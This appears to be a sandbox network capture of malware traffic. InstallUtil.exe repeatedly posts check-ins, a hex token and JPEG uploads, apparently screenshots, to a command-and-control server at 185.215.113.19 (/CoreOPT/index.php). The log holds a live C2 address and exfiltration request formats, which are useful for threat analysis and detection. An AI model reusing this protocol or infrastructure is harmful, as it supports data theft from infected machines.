Oct 16, 2024 19:22:43.257412910 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:43.257412910 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:43.257520914 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:43.257520914 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:43.257520914 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:43.257592916 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:43.257592916 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:43.257592916 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:43.257653952 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:43.257653952 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:43.257653952 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:44.877427101 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49721	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:44.104705095 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:45.131954908 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:45.135118961 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:45.561312914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49722	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:45.072725058 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:45.072762012 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:45.072812080 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:45.072834015 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:45.072861910 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:45.072899103 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:45.072927952 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:45.072927952 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:45.072942972 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:45.072983980 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:45.072994947 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:46.787137985 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49723	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:45.694765091 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:46.708193064 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:46.714991093 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:47.135027885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49724	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:46.945945024 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:46.945977926 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:46.946064949 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:46.946064949 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:46.946089983 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:46.946109056 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:46.946141958 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:46.946165085 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:46.946181059 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:46.946198940 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:46.946235895 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:49.039344072 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49725	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:47.279714108 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:48.307425976 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:48.310286045 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:48.767210960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49726	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:48.878887892 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:49.952333927 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:49.957077980 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:50.370166063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49727	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:49.285571098 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:49.285633087 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:49.285706997 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:49.285706997 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:49.285747051 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:49.285764933 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:49.285793066 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:49.285815001 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:49.285842896 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:49.285861015 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:49.285902023 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:50.906810999 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49728	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:50.500981092 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49729	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:51.070950985 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTEzODU= Host: 185.215.113.19 Content-Length: 91537 Cache-Control: no-cache
Oct 16, 2024 19:22:51.071007967 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 45 7a 4f 44 55 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTEzODU=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:51.071049929 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:51.071072102 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:51.071090937 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:51.071113110 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:51.071130037 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:51.071146011 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:51.071166039 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:51.071187019 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:51.071202040 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:52.685811996 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49730	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
